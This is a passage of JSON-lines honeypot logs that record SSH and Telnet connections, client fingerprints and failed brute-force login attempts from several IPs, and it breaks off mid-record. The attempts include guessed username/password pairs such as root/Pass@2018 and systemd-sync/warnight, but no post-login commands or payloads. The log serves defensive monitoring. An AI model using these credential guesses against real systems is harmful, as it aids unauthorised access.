{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:dd:39:a7:18:3c:de:98:1b:3f:79:16:f7:3b:98:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqVlHaFt3Ens+wiLjQlEhWOASdaRQBFPmEm4UbsWke0I8JaoIeFDkxiPNyquYEML18av8t8as746NAqPsZDd+i7Fps3LBxH4v4DOXwkBA+tkys7RaSrNErzWwo0DuXDMyemc8FaU29t7xfy70HFasPdDQE3wHSmB2YmK5Rr5DCkiY/RHN6i/LWR4yf/zXKyoCN2A0/9+vVZ46oRK8kwMX6mPkLCZt2y73+IB/sO5oAGnPKZGMzPQ+n9eafb6jeEn0BFBOM+LZAzGHl/udWj83UuruCAtQ5SXi1wReHeKVBCu2+oD+phhjrr5pKkC6X4G3S9qyidovUlIA1DrBBTdjl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:dd:39:a7:18:3c:de:98:1b:3f:79:16:f7:3b:98:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.844347Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:dd:39:a7:18:3c:de:98:1b:3f:79:16:f7:3b:98:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqVlHaFt3Ens+wiLjQlEhWOASdaRQBFPmEm4UbsWke0I8JaoIeFDkxiPNyquYEML18av8t8as746NAqPsZDd+i7Fps3LBxH4v4DOXwkBA+tkys7RaSrNErzWwo0DuXDMyemc8FaU29t7xfy70HFasPdDQE3wHSmB2YmK5Rr5DCkiY/RHN6i/LWR4yf/zXKyoCN2A0/9+vVZ46oRK8kwMX6mPkLCZt2y73+IB/sO5oAGnPKZGMzPQ+n9eafb6jeEn0BFBOM+LZAzGHl/udWj83UuruCAtQ5SXi1wReHeKVBCu2+oD+phhjrr5pKkC6X4G3S9qyidovUlIA1DrBBTdjl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.848860Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.918206Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.78.42","src_port":57249,"dst_ip":"159.203.135.109","dst_port":23,"session":"a98a7bee075b","protocol":"telnet","message":"New connection: 92.118.78.42:57249 (159.203.135.109:23) [session: a98a7bee075b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:01.819826Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":59594,"dst_ip":"159.203.135.109","dst_port":22,"session":"85a4251a3066","protocol":"ssh","message":"New connection: 107.0.200.227:59594 (159.203.135.109:22) [session: 85a4251a3066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:06.793998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:06.801967Z","src_ip":"107.0.200.227","session":"85a4251a3066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:07.054039Z","src_ip":"107.0.200.227","session":"85a4251a3066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABC@123.","message":"login attempt [root/ABC@123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:08.118639Z","src_ip":"107.0.200.227","session":"85a4251a3066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:09.362746Z","src_ip":"107.0.200.227","session":"85a4251a3066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.536161661148071,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:17.355870Z","src_ip":"92.118.78.42","session":"a98a7bee075b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":44362,"dst_ip":"159.203.135.109","dst_port":22,"session":"88a3689fa124","protocol":"ssh","message":"New connection: 66.113.163.125:44362 (159.203.135.109:22) [session: 88a3689fa124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:38.498114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:38.503051Z","src_ip":"66.113.163.125","session":"88a3689fa124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:38.539631Z","src_ip":"66.113.163.125","session":"88a3689fa124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:38.717709Z","src_ip":"66.113.163.125","session":"88a3689fa124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:01:39.757097Z","src_ip":"66.113.163.125","session":"88a3689fa124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":59120,"dst_ip":"159.203.135.109","dst_port":22,"session":"43ad040dda14","protocol":"ssh","message":"New connection: 125.16.27.190:59120 (159.203.135.109:22) [session: 43ad040dda14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:17.018624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:17.023239Z","src_ip":"125.16.27.190","session":"43ad040dda14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:17.343536Z","src_ip":"125.16.27.190","session":"43ad040dda14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flying","message":"login attempt [root/flying] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:18.622030Z","src_ip":"125.16.27.190","session":"43ad040dda14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:19.882491Z","src_ip":"125.16.27.190","session":"43ad040dda14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":56160,"dst_ip":"159.203.135.109","dst_port":22,"session":"d20e44f6f6b7","protocol":"ssh","message":"New connection: 107.0.200.227:56160 (159.203.135.109:22) [session: d20e44f6f6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:31.283720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:31.287557Z","src_ip":"107.0.200.227","session":"d20e44f6f6b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:31.382829Z","src_ip":"107.0.200.227","session":"d20e44f6f6b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:31.793362Z","src_ip":"107.0.200.227","session":"d20e44f6f6b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:32.895694Z","src_ip":"107.0.200.227","session":"d20e44f6f6b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":40508,"dst_ip":"159.203.135.109","dst_port":22,"session":"b56fef19882c","protocol":"ssh","message":"New connection: 66.113.163.125:40508 (159.203.135.109:22) [session: b56fef19882c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:51.685752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:51.694874Z","src_ip":"66.113.163.125","session":"b56fef19882c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:51.731231Z","src_ip":"66.113.163.125","session":"b56fef19882c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"just4you","message":"login attempt [root/just4you] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:51.905931Z","src_ip":"66.113.163.125","session":"b56fef19882c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:02:52.943759Z","src_ip":"66.113.163.125","session":"b56fef19882c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":37506,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceb580e27b6b","protocol":"ssh","message":"New connection: 81.192.46.49:37506 (159.203.135.109:22) [session: ceb580e27b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:03.610358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:03.615884Z","src_ip":"81.192.46.49","session":"ceb580e27b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:03.736581Z","src_ip":"81.192.46.49","session":"ceb580e27b6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@2018","message":"login attempt [root/Pass@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:04.244256Z","src_ip":"81.192.46.49","session":"ceb580e27b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:05.367109Z","src_ip":"81.192.46.49","session":"ceb580e27b6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":52722,"dst_ip":"159.203.135.109","dst_port":22,"session":"f39215a1a74f","protocol":"ssh","message":"New connection: 107.0.200.227:52722 (159.203.135.109:22) [session: f39215a1a74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:52.974578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:52.979293Z","src_ip":"107.0.200.227","session":"f39215a1a74f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:53.148358Z","src_ip":"107.0.200.227","session":"f39215a1a74f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:53.571578Z","src_ip":"107.0.200.227","session":"f39215a1a74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:54.669925Z","src_ip":"107.0.200.227","session":"f39215a1a74f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":35988,"dst_ip":"159.203.135.109","dst_port":22,"session":"528f6768916c","protocol":"ssh","message":"New connection: 125.16.27.190:35988 (159.203.135.109:22) [session: 528f6768916c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:59.664935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:03:59.670470Z","src_ip":"125.16.27.190","session":"528f6768916c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-